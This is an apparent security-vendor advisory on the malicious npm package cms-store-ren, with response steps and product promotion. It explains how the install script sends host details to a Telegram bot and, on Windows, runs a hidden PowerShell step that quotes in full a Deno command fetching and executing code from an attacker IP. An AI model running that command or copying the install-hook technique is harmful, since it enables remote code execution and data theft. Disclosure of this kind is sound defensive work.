cms-store-rennpm
Malicious code in cms-store-ren (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package's scripts.install runs install.js on every npm install. The script unconditionally POSTs the installer's hostname, OS, and architecture to api.telegram.org using a hardcoded bot token and chat ID (install.js:7 BOT_TOKEN = '8877182499:...', install.js:50-56 builds the message and sends via sendTelegramMessage()). On Windows, the same script writes a hidden PowerShell bootstrapper that installs Scoop/Winget and Deno, then executes deno -A http://77.90.185.225/deee80f30a6921b4.js — fetching an arbitrary JavaScript payload from a bare-IP HTTP URL and running it with all Deno permissions under a hidden PowerShell window. The package has no legitimate functionality (index.js only logs a string; placeholder author work1, description cms install) and exists solely to deliver the install-time payload. Both install-time host reconnaissance exfiltration and install-time arbitrary remote code execution from attacker infrastructure are present.
The OpenSSF Package Analysis project identified 'cms-store-ren' @ 1.1.1 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cms-store-ren (version 1.1.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cms-store-ren across your stack and pipelines.
If you installed it — respond
cms-store-ren is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If cms-store-ren was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks cms-store-ren before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks cms-store-ren-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.